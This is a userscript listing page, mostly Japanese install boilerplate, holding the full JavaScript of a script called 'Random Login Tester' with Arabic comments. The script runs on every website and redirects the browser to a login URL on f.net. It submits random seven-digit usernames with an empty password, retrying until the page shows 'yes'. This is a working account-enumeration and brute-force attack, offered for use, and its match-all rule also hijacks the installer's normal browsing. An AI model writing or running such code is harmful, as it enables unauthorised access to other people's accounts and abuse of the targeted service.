Random Login Tester

يولد أرقام عشوائية ويختبرها حتى يظهر "yes"

スクリプトをインストールするには、Tampermonkey, GreasemonkeyViolentmonkey のような拡張機能のインストールが必要です。

You will need to install an extension such as Tampermonkey to install this script.

スクリプトをインストールするには、TampermonkeyViolentmonkey のような拡張機能のインストールが必要です。

スクリプトをインストールするには、TampermonkeyUserscripts のような拡張機能のインストールが必要です。

このスクリプトをインストールするには、Tampermonkeyなどの拡張機能をインストールする必要があります。

このスクリプトをインストールするには、ユーザースクリプト管理ツールの拡張機能をインストールする必要があります。

(ユーザースクリプト管理ツールは設定済みなのでインストール!)

Advertisement:

このスタイルをインストールするには、Stylusなどの拡張機能をインストールする必要があります。

このスタイルをインストールするには、Stylus などの拡張機能をインストールする必要があります。

このスタイルをインストールするには、Stylus tなどの拡張機能をインストールする必要があります。

このスタイルをインストールするには、ユーザースタイル管理用の拡張機能をインストールする必要があります。

このスタイルをインストールするには、ユーザースタイル管理用の拡張機能をインストールする必要があります。

このスタイルをインストールするには、ユーザースタイル管理用の拡張機能をインストールする必要があります。

(ユーザースタイル管理ツールは設定済みなのでインストール!)

Advertisement:

このスクリプトの質問や評価の投稿はこちら通報はこちらへお寄せください
// ==UserScript==
// @name         Random Login Tester
// @namespace    https://viayoo.com/wl4o24
// @version      0.1
// @description  يولد أرقام عشوائية ويختبرها حتى يظهر "yes"
// @author       You
// @run-at       document-end
// @match        https://*/*
// @match        http://*/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    // توليد رقم عشوائي بين 2000000 و 2999999
    function generateRandomNumber() {
        return Math.floor(Math.random() * 1000000) + 2000000;
    }

    // التحقق من وجود "yes" أو "no" في الصفحة
    function checkPageAndAct() {
        const bodyText = document.body.innerText;
        const yesRegex = /\byes\b/i;   // كلمة yes كاملة (غير حساسة لحالة الأحرف)
        const noRegex = /\bno\b/i;     // كلمة no كاملة

        if (yesRegex.test(bodyText)) {
            console.log('تم العثور على "yes" - توقف.');
            return 'yes';
        } else if (noRegex.test(bodyText)) {
            console.log('تم العثور على "no" - إعادة المحاولة برقم جديد.');
            return 'no';
        }
        return null; // لم يُعثر على أي منهما
    }

    // عنوان الصفحة الحالي
    const currentUrl = window.location.href;

    // هل نحن في صفحة نتيجة المحاولة؟
    if (currentUrl.includes('f.net/login?username=')) {
        // فحص فوري
        let result = checkPageAndAct();

        if (result === 'yes') {
            return; // توقف
        } else if (result === 'no') {
            // توليد رقم جديد والتوجيه
            const newNumber = generateRandomNumber();
            window.location.href = `http://f.net/login?username=${newNumber}&password=&var=callBack`;
            return;
        }

        // إذا لم نجد لا "yes" ولا "no" (قد يكون المحتوى لم يتحمّل بعد)
        let attempts = 0;
        const maxAttempts = 10; // 10 محاولات (كل 500 مللي)

        const intervalId = setInterval(function() {
            attempts++;
            const res = checkPageAndAct();

            if (res === 'yes') {
                clearInterval(intervalId);
                return;
            } else if (res === 'no') {
                clearInterval(intervalId);
                const newNumber = generateRandomNumber();
                window.location.href = `http://f.net/login?username=${newNumber}&password=&var=callBack`;
                return;
            }

            // انتهت المحاولات دون نتيجة – نعتبر الحالة "no" ونعيد المحاولة
            if (attempts >= maxAttempts) {
                clearInterval(intervalId);
                console.warn('لم يُعثر على "yes" أو "no" بعد المهلة، نفترض "no".');
                const newNumber = generateRandomNumber();
                window.location.href = `http://f.net/login?username=${newNumber}&password=&var=callBack`;
            }
        }, 500);
    } else {
        // الصفحة الأولى (ليست صفحة تسجيل الدخول) – نبدأ العملية
        const firstNumber = generateRandomNumber();
        window.location.href = `http://f.net/login?username=${firstNumber}&password=&var=callBack`;
    }
})();